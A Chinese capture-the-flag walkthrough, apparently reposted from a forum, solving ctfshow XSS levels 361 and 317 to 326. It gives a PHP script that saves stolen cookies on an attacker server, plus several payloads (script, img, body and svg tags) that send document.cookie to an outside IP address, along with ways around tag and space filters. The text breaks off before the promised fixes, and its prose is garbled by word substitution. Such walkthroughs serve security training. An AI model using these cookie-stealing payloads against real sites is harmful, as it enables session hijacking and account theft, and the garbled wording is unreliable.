目次
1、关卡361 - 反射型xss
2、关卡317 - 过滤标签
3、关卡318 319 - 过滤标签
4、关卡320--326 - 过滤空格和尖括号
5、关卡327 - 存储型跨站
6、关卡328
7、关卡329 - 失效根据需1步完成所需操纵
8、关卡330 - 存储型-借助修改暗码URL重置管理员暗码(GET方式提交修改暗码)
9、关卡331 - post提交修改暗码
修复方案
1.字符过滤
2、httponly过滤
3、CSP安全计谋
4、别的防止跨站的计谋
下面是ctfshow的关卡
1、关卡361 - 反射型xss
在文本框中输入123,页面中就出现123;即,在输入框中输入什么,页面中就会出现什么
测试:输入“<script>alert(1)</script>”是否会出现弹窗
测试结果:出现弹窗,分析存在跨站xss毛病
怎么去获取这个flag呢,在ctfshow默认会有一个呆板人,天生好跨站地点后,呆板人会自动去访问地点触发跨站,然后让管理员把他的cookie发送出来,作为考题,flag在cookie中。 那么应该怎么获取管理员的cookie呢?
起首我们要知道在js中,document.cookie可以获取到当前的cookie,和window.location.href是跳转到url,通过这两个内部函数去让欣赏器给我们发送cookie,只要打开我们构造的URL就让发生cookie到我们服务器中。以是我们要先预备一个api吸取从目的网站返回的cookie信息
在本身的服务器建一个get.php
- # get.php
- <?php
- $cookie=$_GET['c'];
- $myfile = fopen("cookie.txt", "w+");
- fwrite($myfile, $cookie);
- fclose($myfile);
- ?>
复制代码 构造跨站语句: <script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script>
在输入框输入跨站语句,点击“天生链接”,当呆板人去触发,就可以获取到flag了
2、关卡317 - 过滤标签
上一关的跨站语句:<script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script>
在输入框输入前一关的跨站语句,点击“天生链接”,发现网站没有反应,页面没有表现js语句,欣赏器也没有跳转,但是正常 的输入123如许的,shi没题目的,通过实验发现输入的语句中只要出现了<script>,网站就会对其举行过滤,那么我们把<script>标签换成别的的标签
常见的绕过,参考文章:https://xz.aliyun.com/t/4067
好比把script标签换成img标签,如<img src=1 onerror=alert("xss");>
测试:在输入框中输入img标签的跨站语句,点击“天生链接”,结果弹窗
构造payload:
① <img src=1 οnerrοr=window.location.href='http://47.100.167.248/get.php?c='+document.cookie;> 当图片地点不存在时,触发事故,测试失败,推测大概图片1是存在
② <input οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;"> 失败
③ <body/οnlοad=window.location.href='http://47.100.167.248/get.php?c='+document.cookie;> 乐成
这个是什么缘故因由呢? 为什么body可以,img不可。着实这是和鼠标事故有关。鼠标事故有错误事故(onerror),有单击事故(onclick),指向触发,尚有事故会在页面或图像加载完成后立即发生(onload,这个是最好的,不须要任何操纵就可触发的)
3、关卡318 319 - 过滤标签
用前面的payload:<img src=adf οnlοad=window.location.href='http://47.100.167.248/get.php?c='+document.cookie> 一样也是被过滤了,
然后用到input标签:<input οnlοad="alert('xss');"> 构造payload: <input οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;">没反应?换一个
用svg标签构造payload: <svg οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;"> 页面跳转乐成,乐成获取到cookie和flag
4、关卡320--326 - 过滤空格和尖括号
通过测试,发现过滤了空格和<>,只要有空格或尖括号都不可
思量绕过空格,用/代替空格 &
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
|